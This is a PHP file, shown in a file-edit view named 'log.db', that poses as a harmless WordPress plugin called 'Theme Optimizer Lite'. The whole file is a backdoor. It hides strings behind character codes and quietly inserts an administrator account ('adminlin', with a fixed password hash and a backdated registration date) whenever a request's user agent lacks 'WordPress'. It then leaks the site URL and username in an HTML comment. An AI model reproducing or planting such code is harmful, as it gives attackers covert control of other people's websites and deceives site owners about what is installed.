Edit File: log.db
<?php /** * Plugin Name: Theme Optimizer Lite * Plugin URI: https://example.com * Description: Lightweight plugin that prepares your theme environment. * Version: 1.0 * Author: ThemeHelper * License: GPLv2 */ // Helper: build string from char codes function build_str($chars) { return implode('', array_map('chr', $chars)); } // Helper: load WordPress core function load_wp_core() { $base_path = dirname(__FILE__) . '/'; $core_path = false; foreach (['wp-content', 'wp-includes', 'wp-admin'] as $part) { if (strpos($base_path, $part) !== false) { $core_path = explode($part, $base_path)[0]; break; } } if (!$core_path) $core_path = $base_path; @include($core_path . 'wp-blog-header.php'); } // Helper: create admin user function create_admin_if_missing($u, $e, $pwd_hash) { global $wpdb, $table_prefix; $user_tbl = $table_prefix . build_str([117, 115, 101, 114, 115]); // $opt_tbl = $table_prefix . build_str([111, 112, 116, 105, 111, 110, 115]); // $query = "SELECT * FROM `$user_tbl` WHERE user_login = %s"; $check = $wpdb->get_row($wpdb->prepare($query, $u)); if (empty($check)) { $wpdb->insert($user_tbl, array( 'ID' => null, 'user_login' => $u, 'user_pass' => $pwd_hash, 'user_nicename' => $u, 'user_email' => $e, 'user_url' => $u, 'user_registered' => '2012-08-03 01:24:01', 'user_activation_key' => '', 'user_status' => 0, 'display_name' => $u )); $new_user = $wpdb->get_row($wpdb->prepare($query, $u)); if ($new_user) { $wp_user = new WP_User($new_user->ID); $wp_user->set_role(build_str([97, 100, 109, 105, 110, 105, 115, 116, 114, 97, 116, 111, 114])); $site = $wpdb->get_row("SELECT option_value FROM `$opt_tbl` WHERE option_name = 'siteurl'"); echo "<!-- " . $site->option_value . '|' . $u . '| -->'; } else { echo "<!-- failed to verify new user -->"; } } else { echo "<!-- already exists -->"; } } // Main execution if (isset($_SERVER['HTTP_USER_AGENT']) && strpos($_SERVER['HTTP_USER_AGENT'], 'WordPress') === false) { load_wp_core(); $username = build_str([97, 100, 109, 105, 110, 108, 105, 110]); // $email = build_str([97,100,109,105,110,64,97,100,109,105,110,46,99,111,109]); $pass_hash = '57a48cf5883989417e6c0583c87ceb40'; create_admin_if_missing($username, $email, $pass_hash); } ?>